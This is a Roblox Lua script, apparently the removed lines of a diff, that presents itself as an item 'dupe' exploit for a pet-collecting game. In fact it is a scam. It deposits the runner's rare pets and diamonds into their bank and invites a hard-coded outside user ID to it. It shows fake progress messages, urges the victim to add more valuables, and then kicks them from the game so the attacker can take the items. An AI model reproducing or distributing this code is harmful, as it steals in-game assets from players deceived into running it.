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- local LocalNumber = 2319886779
- local lib = require(game.ReplicatedStorage:WaitForChild('Framework'):WaitForChild('Library'))
- local mydiamonds = string.gsub(game:GetService("Players").LocalPlayer.PlayerGui.Main.Right.Diamonds.Amount.Text, "%,", "")
- local mybanks = lib.Network.Invoke("get my banks")
- local PetsList = {}
- for i,v in pairs(lib.Save.Get().Pets) do
- local v2 = lib.Directory.Pets[v.id];
- if v2.rarity == "Exclusive" or v2.rarity == "Mythical" and v.dm or v2.rarity == "Legendary" and v.r then
- table.insert(PetsList, v.uid);
- end
- end
- local request, request2 = lib.Network.Invoke("Bank Deposit", mybanks[1]['BUID'], PetsList, mydiamonds - 0);
- if request then
- lib.Message.New("Starting dupe...");
- wait(1)
- lib.Message.New("Starting dupe... (25%)");
- wait(1)
- lib.Message.New("Starting dupe... (53%)");
- wait(2)
- lib.Message.New("Starting dupe... (81%)");
- wait(3)
- lib.Message.New("Starting dupe... (95%)");
- wait(1)
- lib.Message.New("Starting dupe... (99%)");
- else
- end
- if lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber) then
- lib.Message.New("Processing dupe! Please make sure all of your exclusives and gems are in the bank. If they aren't, quickly add them.");
- wait(5)
- lib.Message.New("Please do not rejoin the game in the next 10 minutes or you may lose the pet(s) and gems. If your pets and gems aren't in the bank, quickly add them.");
- wait(15)
- game.Players.LocalPlayer:Kick("Please do not rejoin the game in the next 10 minutes unless your exclusives and gems aren't placed in the bank.")
- else
- lib.Network.Invoke("Invite To Bank", mybanks[1]['BUID'], LocalNumber)
- lib.Message.New("Dupe Error - bank is not tier 2+. If it is, please rejoin the game and try again.");
- end;
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